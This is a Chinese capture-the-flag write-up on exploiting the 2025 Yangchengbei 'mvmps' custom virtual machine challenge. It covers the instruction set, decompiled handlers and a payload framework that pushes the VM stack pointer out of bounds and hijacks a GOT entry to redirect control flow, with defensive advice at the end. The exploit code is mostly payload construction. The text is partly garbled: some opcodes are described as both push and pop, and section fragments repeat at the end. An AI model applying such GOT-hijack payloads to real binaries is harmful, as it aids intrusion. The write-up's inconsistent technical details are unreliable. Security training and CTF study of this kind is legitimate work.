2025羊城杯mvmps虚拟机漏洞利用详解<\/h1>

题目概述<\/h2>
mvmps是一道基于自定义虚拟机实现的PWN题目，考察对虚拟机指令集的理解和漏洞利用能力。题目涉及栈溢出、GOT表劫持等技术点。<\/p>

虚拟机架构分析<\/h2>

检查安全机制<\/h3>
➜➜ Cands checksec vvmm
<\/span><\/span>[<\/span>*]<\/span> '\/home\/ziran\/Desktop\/1011\/Cands\/vvmm'<\/span>
<\/span><\/span> Arch: amd64-64-little
<\/span><\/span> RELRO: Partial RELRO
<\/span><\/span> Stack: No canary found
<\/span><\/span> NX: NX enabled
<\/span><\/span> PIE: No PIE (<\/span>0x400000)<\/span>
<\/span><\/span> SHSTK: Enabled
<\/span><\/span> IBT: Enabled
<\/span><\/span><\/code><\/pre>关键安全特性：<\/p>

无PIE：代码段地址固定<\/li>
无栈保护：可进行栈溢出<\/li>
部分RELRO：GOT表可写<\/li>
<\/ul>
虚拟机指令系统<\/h3>
虚拟机支持4种指令类型，通过最低2位标识：<\/p>
类型0指令（最低两位00）<\/h4>
# 栈指针减<\/span>
<\/span><\/span>code(0<\/span>, opcode_high=<\/span>36<\/span>, operand1=<\/span>0x100<\/span>)  # 栈指针减0x100<\/span>
<\/span><\/span>
<\/span><\/span># 栈指针加  <\/span>
<\/span><\/span>code(0<\/span>, opcode_high=<\/span>37<\/span>, operand1=<\/span>0x80<\/span>)   # 栈指针加0x80<\/span>
<\/span><\/span>
<\/span><\/span># 状态加载<\/span>
<\/span><\/span>code(0<\/span>, opcode_high=<\/span>59<\/span>, operand1=<\/span>0<\/span>)      # 状态加载操作<\/span>
<\/span><\/span>
<\/span><\/span># 内存操作<\/span>
<\/span><\/span>code(0<\/span>, opcode_high=<\/span>51<\/span>, operand1=<\/span>0x200<\/span>)  # 内存操作（调用sub_4014AF）<\/span>
<\/span><\/span>
<\/span><\/span># 栈操作<\/span>
<\/span><\/span>code(0<\/span>, opcode_high=<\/span>48<\/span>, operand1=<\/span>0x40<\/span>)   # 复杂栈操作<\/span>
<\/span><\/span><\/code><\/pre>类型1指令（最低两位01）<\/h4>
# 寄存器加1<\/span>
<\/span><\/span>code(1<\/span>, opcode_high=<\/span>33<\/span>, operand1=<\/span>1<\/span>)      # 寄存器1加1<\/span>
<\/span><\/span>
<\/span><\/span># 寄存器减1  <\/span>
<\/span><\/span>code(1<\/span>, opcode_high=<\/span>34<\/span>, operand1=<\/span>2<\/span>)      # 寄存器2减1<\/span>
<\/span><\/span>
<\/span><\/span># 栈操作（出栈）<\/span>
<\/span><\/span>code(1<\/span>, opcode_high=<\/span>31<\/span>, operand1=<\/span>3<\/span>)      # 出栈到寄存器3<\/span>
<\/span><\/span>
<\/span><\/span># 栈操作（入栈）<\/span>
<\/span><\/span>code(1<\/span>, opcode_high=<\/span>32<\/span>, operand1=<\/span>4<\/span>)      # 寄存器4入栈<\/span>
<\/span><\/span>
<\/span><\/span># 条件操作<\/span>
<\/span><\/span>code(1<\/span>, opcode_high=<\/span>43<\/span>, operand1=<\/span>0<\/span>)      # 如果状态=2则执行操作<\/span>
<\/span><\/span><\/code><\/pre>类型2指令（最低两位10）<\/h4>
# 寄存器加法<\/span>
<\/span><\/span>code(2<\/span>, opcode_high=<\/span>10<\/span>, operand1=<\/span>2<\/span>, operand2=<\/span>3<\/span>)  # reg2 += reg3<\/span>
<\/span><\/span>
<\/span><\/span># 寄存器赋值<\/span>
<\/span><\/span>code(2<\/span>, opcode_high=<\/span>3<\/span>, operand1=<\/span>1<\/span>, operand2=<\/span>0<\/span>)   # reg1 = reg0<\/span>
<\/span><\/span>
<\/span><\/span># 寄存器比较（无符号）<\/span>
<\/span><\/span>code(2<\/span>, opcode_high=<\/span>1<\/span>, operand1=<\/span>4<\/span>, operand2=<\/span>5<\/span>)   # 比较reg4和reg5（无符号）<\/span>
<\/span><\/span>
<\/span><\/span># 内存读取（字节）<\/span>
<\/span><\/span>code(2<\/span>, opcode_high=<\/span>12<\/span>, operand1=<\/span>6<\/span>, operand2=<\/span>7<\/span>)  # reg6 = mem[reg7] (byte)<\/span>
<\/span><\/span>
<\/span><\/span># 内存写入（双字）<\/span>
<\/span><\/span>code(2<\/span>, opcode_high=<\/span>17<\/span>, operand1=<\/span>0<\/span>, operand2=<\/span>1<\/span>)  # mem[reg0] = reg1 (dword)<\/span>
<\/span><\/span><\/code><\/pre>类型3指令（最低两位11）<\/h4>
# 寄存器赋值（立即数）<\/span>
<\/span><\/span>code(3<\/span>, opcode_high=<\/span>3<\/span>, operand1=<\/span>0<\/span>, operand2=<\/span>0x4000<\/span>)    # reg0 = 0x4000<\/span>
<\/span><\/span>
<\/span><\/span># 寄存器加法（立即数）  <\/span>
<\/span><\/span>code(3<\/span>, opcode_high=<\/span>10<\/span>, operand1=<\/span>1<\/span>, operand2=<\/span>0x100<\/span>)    # reg1 += 0x100<\/span>
<\/span><\/span>
<\/span><\/span># 内存读取（立即数偏移）<\/span>
<\/span><\/span>code(3<\/span>, opcode_high=<\/span>14<\/span>, operand1=<\/span>2<\/span>, operand2=<\/span>0x200<\/span>)    # reg2 = mem[基地址+0x200]<\/span>
<\/span><\/span>
<\/span><\/span># 内存写入（立即数）<\/span>
<\/span><\/span>code(3<\/span>, opcode_high=<\/span>17<\/span>, operand1=<\/span>0<\/span>, operand2=<\/span>0xdeadbeef<\/span>) # mem[reg0] = 0xdeadbeef<\/span>
<\/span><\/span>
<\/span><\/span># 寄存器比较（立即数）<\/span>
<\/span><\/span>code(3<\/span>, opcode_high=<\/span>1<\/span>, operand1=<\/span>3<\/span>, operand2=<\/span>0x1000<\/span>)    # 比较reg3和0x1000（无符号）<\/span>
<\/span><\/span><\/code><\/pre>关键指令实现细节<\/h3>
栈指针调整<\/h4>
case<\/span> '$'<\/span>:<\/span>
<\/span><\/span>    *<\/span>(_QWORD *<\/span>)(a1 +<\/span> 64<\/span>) -=<\/span> (unsigned<\/span> int<\/span>)(4<\/span> *<\/span> *<\/span>(_DWORD *<\/span>)(a2 +<\/span> 4<\/span>));
<\/span><\/span>    \/\/ code(0, opcode_high=36, operand1=0x100) 实际减0x400
<\/span><\/span><\/span><\/span>
<\/span><\/span>case<\/span> '%'<\/span>:<\/span>
<\/span><\/span>    *<\/span>(_QWORD *<\/span>)(a1 +<\/span> 64<\/span>) +=<\/span> (unsigned<\/span> int<\/span>)(4<\/span> *<\/span> *<\/span>(_DWORD *<\/span>)(a2 +<\/span> 4<\/span>));  
<\/span><\/span>    \/\/ code(0, opcode_high=37, operand1=0x80) 实际加0x200
<\/span><\/span><\/span><\/code><\/pre>注意<\/strong>：操作数会乘以4倍，这是关键的计算细节。<\/p>
寄存器操作<\/h4>
case<\/span> 35<\/span>:<\/span>
<\/span><\/span>    *<\/span>(_QWORD *<\/span>)(a1 +<\/span> 8<\/span> *<\/span> (*<\/span>(unsigned<\/span> int<\/span> *<\/span>)(a2 +<\/span> 4<\/span>) +<\/span> 2LL<\/span>)) =<\/span> *<\/span>(_QWORD *<\/span>)(a1 +<\/span> 64<\/span>);
<\/span><\/span>    \/\/ code(1, opcode_high=35, operand1=0) # reg0 = SP
<\/span><\/span><\/span><\/span>
<\/span><\/span>case<\/span> 32<\/span>:<\/span>
<\/span><\/span>    *<\/span>(_QWORD *<\/span>)(a1 +<\/span> 8<\/span> *<\/span> (*<\/span>(unsigned<\/span> int<\/span> *<\/span>)(a2 +<\/span> 4<\/span>) +<\/span> 2LL<\/span>)) =<\/span> *<\/span>(unsigned<\/span> int<\/span> *<\/span>)(*<\/span>(_QWORD *<\/span>)a1 +<\/span> *<\/span>(_QWORD *<\/span>)(a1 +<\/span> 64<\/span>));
<\/span><\/span>    *<\/span>(_QWORD *<\/span>)(a1 +<\/span> 64<\/span>) +=<\/span> 4LL<\/span>;
<\/span><\/span>    \/\/ code(1, opcode_high=32, operand1=1) # reg1 = pop()
<\/span><\/span><\/span><\/code><\/pre>内存布局分析<\/h3>
虚拟机寄存器存储区域（0x407280开始）：<\/p>
50:0280│ 0x407280 ◂◂— 0          # 寄存器区域开始
...
54:02a0│ 0x4072a0 —▸▸ 0x4050a0   # 当前指令指针
55:02a8│ 0x4072a8 ◂◂— 4          # 指令字节计数
56:02b0│ 0x4072b0 ◂◂— 0          # 寄存器存储值
57:02b8│ 0x4072b8 ◂◂— 0          # 寄存器存储值
...
5c:02e0│ 0x4072e0 ◂◂— 0x1000     # 栈指针索引
<\/code><\/pre>
漏洞利用技术<\/h2>
漏洞点分析<\/h3>
1. 栈溢出漏洞<\/h4>
通过精心构造的虚拟机指令序列，可以实现栈溢出：<\/p>
# 调整栈指针创造溢出条件<\/span>
<\/span><\/span>payload =<\/span> code(0<\/span>, opcode_high=<\/span>36<\/span>, operand1=<\/span>0x100<\/span>)  # 栈指针减0x400<\/span>
<\/span><\/span>payload +=<\/span> code(0<\/span>, opcode_high=<\/span>36<\/span>, operand1=<\/span>0x100<\/span>)  # 栈指针减0x400  <\/span>
<\/span><\/span>payload +=<\/span> code(0<\/span>, opcode_high=<\/span>36<\/span>, operand1=<\/span>0x100<\/span>)  # 栈指针减0x400<\/span>
<\/span><\/span>payload +=<\/span> code(0<\/span>, opcode_high=<\/span>36<\/span>, operand1=<\/span>0x100<\/span>)  # 栈指针减0x400<\/span>
<\/span><\/span>payload +=<\/span> code(0<\/span>, opcode_high=<\/span>36<\/span>, operand1=<\/span>0x20<\/span>)   # 栈指针减0x80<\/span>
<\/span><\/span><\/code><\/pre>2. GOT表劫持<\/h4>
利用内存写入指令修改GOT表：<\/p>
# 关键的内存写入指令<\/span>
<\/span><\/span>code(2<\/span>, opcode_high=<\/span>17<\/span>, operand1=<\/span>值寄存器, operand2=<\/span>地址寄存器)
<\/span><\/span># 效果: mem[基地址 + 地址寄存器值] = 值寄存器值 (32位)<\/span>
<\/span><\/span><\/code><\/pre>利用步骤<\/h3>
第一步：寄存器初始化<\/h4>
# 设置寄存器值为特定数值<\/span>
<\/span><\/span>code(3<\/span>, opcode_high=<\/span>3<\/span>, operand1=<\/span>0<\/span>, operand2=<\/span>0x123456<\/span>)
<\/span><\/span><\/code><\/pre>第二步：栈指针调整<\/h4>
# 多次调整栈指针创造溢出条件<\/span>
<\/span><\/span>adjustments =<\/span> [
<\/span><\/span>    code(0<\/span>, opcode_high=<\/span>36<\/span>, operand1=<\/span>0x100<\/span>),
<\/span><\/span>    code(0<\/span>, opcode_high=<\/span>36<\/span>, operand1=<\/span>0x100<\/span>), 
<\/span><\/span>    code(0<\/span>, opcode_high=<\/span>36<\/span>, operand1=<\/span>0x100<\/span>),
<\/span><\/span>    code(0<\/span>, opcode_high=<\/span>36<\/span>, operand1=<\/span>0x100<\/span>),
<\/span><\/span>    code(0<\/span>, opcode_high=<\/span>36<\/span>, operand1=<\/span>0x20<\/span>)
<\/span><\/span>]
<\/span><\/span><\/code><\/pre>第三步：读取内存到寄存器<\/h4>
# 将栈上数据读取到寄存器<\/span>
<\/span><\/span>code(1<\/span>, opcode_high=<\/span>32<\/span>, operand1=<\/span>1<\/span>)  # 出栈到寄存器1<\/span>
<\/span><\/span><\/code><\/pre>第四步：GOT表修改<\/h4>
# 修改GOT表项，劫持控制流<\/span>
<\/span><\/span>code(3<\/span>, opcode_high=<\/span>6<\/span>, operand1=<\/span>1<\/span>, operand2=<\/span>0xFF000000<\/span>)  # 寄存器1高位操作<\/span>
<\/span><\/span>code(3<\/span>, opcode_high=<\/span>5<\/span>, operand1=<\/span>1<\/span>, operand2=<\/span>0xcebd43<\/span>)     # 寄存器1低位操作<\/span>
<\/span><\/span><\/code><\/pre>第五步：触发漏洞<\/h4>
# 通过栈操作触发执行流劫持<\/span>
<\/span><\/span>code(0<\/span>, opcode_high=<\/span>36<\/span>, operand1=<\/span>0x2<\/span>)      # 栈指针调整<\/span>
<\/span><\/span>code(3<\/span>, opcode_high=<\/span>3<\/span>, operand1=<\/span>2<\/span>, operand2=<\/span>0x402AFA<\/span>)  # 设置寄存器2<\/span>
<\/span><\/span>code(1<\/span>, opcode_high=<\/span>31<\/span>, operand1=<\/span>2<\/span>)        # 寄存器2入栈触发<\/span>
<\/span><\/span><\/code><\/pre>完整利用代码框架<\/h3>
def<\/span> exploit<\/span>():
<\/span><\/span>    # 初始化寄存器<\/span>
<\/span><\/span>    payload =<\/span> code(3<\/span>, opcode_high=<\/span>3<\/span>, operand1=<\/span>0<\/span>, operand2=<\/span>0x123456<\/span>)
<\/span><\/span>    
<\/span><\/span>    # 栈指针调整创造溢出条件<\/span>
<\/span><\/span>    adjustments =<\/span> [
<\/span><\/span>        code(0<\/span>, opcode_high=<\/span>36<\/span>, operand1=<\/span>0x100<\/span>),
<\/span><\/span>        code(0<\/span>, opcode_high=<\/span>36<\/span>, operand1=<\/span>0x100<\/span>),
<\/span><\/span>        code(0<\/span>, opcode_high=<\/span>36<\/span>, operand1=<\/span>0x100<\/span>),
<\/span><\/span>        code(0<\/span>, opcode_high=<\/span>36<\/span>, operand1=<\/span>0x100<\/span>),
<\/span><\/span>        code(0<\/span>, opcode_high=<\/span>36<\/span>, operand1=<\/span>0x20<\/span>)
<\/span><\/span>    ]
<\/span><\/span>    payload +=<\/span> b<\/span>''<\/span>.<\/span>join(adjustments)
<\/span><\/span>    
<\/span><\/span>    # 内存读取操作<\/span>
<\/span><\/span>    payload +=<\/span> code(1<\/span>, opcode_high=<\/span>32<\/span>, operand1=<\/span>1<\/span>)
<\/span><\/span>    
<\/span><\/span>    # GOT表修改<\/span>
<\/span><\/span>    payload +=<\/span> code(3<\/span>, opcode_high=<\/span>6<\/span>, operand1=<\/span>1<\/span>, operand2=<\/span>0xFF000000<\/span>)
<\/span><\/span>    payload +=<\/span> code(3<\/span>, opcode_high=<\/span>5<\/span>, operand1=<\/span>1<\/span>, operand2=<\/span>0xcebd43<\/span>)
<\/span><\/span>    
<\/span><\/span>    # 触发执行流劫持<\/span>
<\/span><\/span>    payload +=<\/span> code(0<\/span>, opcode_high=<\/span>36<\/span>, operand1=<\/span>0x2<\/span>)
<\/span><\/span>    payload +=<\/span> code(3<\/span>, opcode_high=<\/span>3<\/span>, operand1=<\/span>2<\/span>, operand2=<\/span>0x402AFA<\/span>)
<\/span><\/span>    payload +=<\/span> code(1<\/span>, opcode_high=<\/span>31<\/span>, operand1=<\/span>2<\/span>)
<\/span><\/span>    
<\/span><\/span>    return<\/span> payload
<\/span><\/span><\/code><\/pre>技术要点总结<\/h2>

指令编码理解<\/strong>：必须清楚每种指令类型的编码格式和操作数处理方式<\/li>
栈指针操作<\/strong>：注意操作数会乘以4倍的细节，这是精确控制的关键<\/li>
内存布局<\/strong>：理解虚拟机内存结构和寄存器存储方式<\/li>
GOT劫持<\/strong>：利用部分RELRO特性，通过内存写入指令修改GOT表<\/li>
执行流控制<\/strong>：结合栈操作和寄存器操作实现精确的控制流劫持<\/li>
<\/ol>
防御建议<\/h2>

启用完整RELRO<\/strong>：防止GOT表被修改<\/li>
栈保护机制<\/strong>：启用栈保护防止栈溢出<\/li>
地址随机化<\/strong>：启用PIE增加利用难度<\/li>
指令验证<\/strong>：虚拟机应加强对指令合法性的验证<\/li>
<\/ol>
这份文档详细分析了mvmps虚拟机的指令系统、漏洞原理和利用技术，为理解和解决此类虚拟机PWN题目提供了完整的技术参考。<\/p>
2025羊城杯mvmps虚拟机漏洞利用详解<\/h1>

题目概述<\/h2> mvmps是一道基于自定义虚拟机实现的PWN题目，考察对虚拟机指令集的理解和漏洞利用能力。题目涉及栈溢出、GOT表劫持等技术点。<\/p>

虚拟机架构分析<\/h2>

虚拟机指令系统<\/h3> 虚拟机支持4种指令类型，通过最低2位标识：<\/p>

关键指令实现细节<\/h3>

漏洞利用技术<\/h2>

漏洞点分析<\/h3>

利用步骤<\/h3>

题目概述<\/h2>
mvmps是一道基于自定义虚拟机实现的PWN题目，考察对虚拟机指令集的理解和漏洞利用能力。题目涉及栈溢出、GOT表劫持等技术点。<\/p>

虚拟机指令系统<\/h3>
虚拟机支持4种指令类型，通过最低2位标识：<\/p>
